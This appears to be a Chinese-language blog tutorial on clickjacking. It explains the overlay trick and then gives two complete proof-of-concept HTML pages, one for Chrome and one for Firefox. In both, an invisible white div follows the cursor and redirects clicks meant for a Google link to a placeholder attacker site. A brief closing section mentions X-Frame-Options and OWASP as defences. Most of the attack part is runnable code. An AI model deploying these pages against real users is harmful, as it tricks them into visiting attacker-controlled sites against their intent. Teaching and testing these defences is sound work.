ClickJacking 攻擊手法範例程式與防護

ClickJacking 攻擊手法範例程式與防護

這篇文章主要說明一種網站駭客的另外一種手法 ClickJacking。

就像這張圖的例子,讓使用者以為是可以領取 Free iPAD,實際上點擊的是 “Like”

透過兩層網頁的重疊關係,並且讓FaceBook Like底層的網頁顏色透明化,

使用者只看到最上一層 “Claim your Free iPAD”的網頁。像這樣的攻擊手法就稱為 “ClickJacking”

Chrome 程式範例

程式測試說明:

  • 1. 顏色可以設定為 #FFFFFF,也就是白色透明處理,讓使用者看不到。
  • 色系設定可以參考 http://www.color-hex.com/color/ffffff
  • 2. “http://www.HackerWebSite/ClickJacking” 為誘導使用者要點選的網站,也就是實際會前往的網站。因為顏色設定為白色,所以使用者不知道。
  • 3. “http://www.google.com” : 這是讓使用者以為點選到之後會前往的網站
<html>
<style type="text/css">
<!--
.style1 {
 font-size: 50px;
 font-weight: bold;
}
.style2 {
 color: #FF0000;
 font-weight: bold;
 font-size: 24px;
}
-->
</style>
<body>
<span class="style2">Chrome ClickJacking Sample</span>
<p>Click 'Google Website' will re-direct to 'http://www.targethacker.com/'</p>
<p>Mouse move Over HackerSite will also re-direct to 'http://www.targethacker.com/'</p>
<p>
<div class="style1" id="open"
style="position:absolute; width:8px; height:7px; background:#FFFFFF; border:1px; left: 19px; top: 155px;"
onmouseover="document.location='http://www.TargetHacker.com/';">HackerSite</div></p>

<p><strong>
  <script>
function updatebox(evt) {
	mouseX=evt.pageX?evt.pageX:evt.clientX;
	mouseY=evt.pageY?evt.pageY:evt.clientY;
	document.getElementById('open').style.left=mouseX-2;
	document.getElementById('open').style.top=mouseY-2;
}
</script>
</strong><a href="https://www.google.com/" onClick="updatebox(event)"><font
style="font-family:arial;font-size:32px">Google Website</font></a></p>
<p><br>
</p>
</html>
  

 

將上述程式碼編輯儲存為 HTML檔案,並且用瀏覽器開啟,執行結果如下圖

ClickJacking Testing

FireFox 程式範例

<html>
<style type="text/css">
</style>
<body>
<p align="center"><code><font face="Calibri" size="6" color="#FF0000">FireFox</font></code><code class="xml plain"><font face="Calibri" size="6" color="#FF0000"> Browser </font></code>
<font face="Arial" size="2"><code class="xml plain">
</code></font><font face="Calibri" size="6" color="#FF0000"><code class="xml plain">
<b>Clickjacking Testing</b></code></font></p>
<p align="center"> </p>
<div class="style1" id="open"
style="position:absolute; width:2px; height:2px; background:#FFFFFF; border:1px; left: 2px; top: 2px;"
onmouseover="document.location='http://www.HackerWebSite/ClickJacking';">
	<p align="center">
	<font size="1" color="#FFFFFF">ClickJacking</font></div>
<p align="center"><strong>
  <script>
function updatebox(evt) {
	mouseX=evt.pageX?evt.pageX:evt.clientX;
	mouseY=evt.pageY?evt.pageY:evt.clientY;
	document.getElementById('open').style.left=mouseX-2;
	document.getElementById('open').style.top=mouseY-2;
}
</script>
</strong><a href="http://www.google.com" onClick="updatebox(event)"><font style="font-family:arial;font-size:32px">Go to the google.com</font></a></p>
<p><br>
</p>
<div class="style1" id="open0" style="position:absolute; width:2px; height:13px; background:#7f7f78; border:10px none; left: 354px; top: 146px;" onmouseover="document.location='http://www.HackerWebSite/ClickJacking';">
	<p align="center">
	<font size="3" color="#7f7f78">ClickJacking</font></div>

<p align="center"> </p>
<p align="center"> </p>
<p align="center">Click the Google link, but it will link to www.HackerWebsite/ClickJacking</p>


<p align="center">ClickJacking PoC</p>



</html>


      

ClickJacking 防護

最常見的防護方式是在 Http Header中指定X-Frame-Options。

但是這個方式僅能確保 iFrame中是否允許瀏覽其他網站。

https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

Leave a Reply

Your email address will not be published.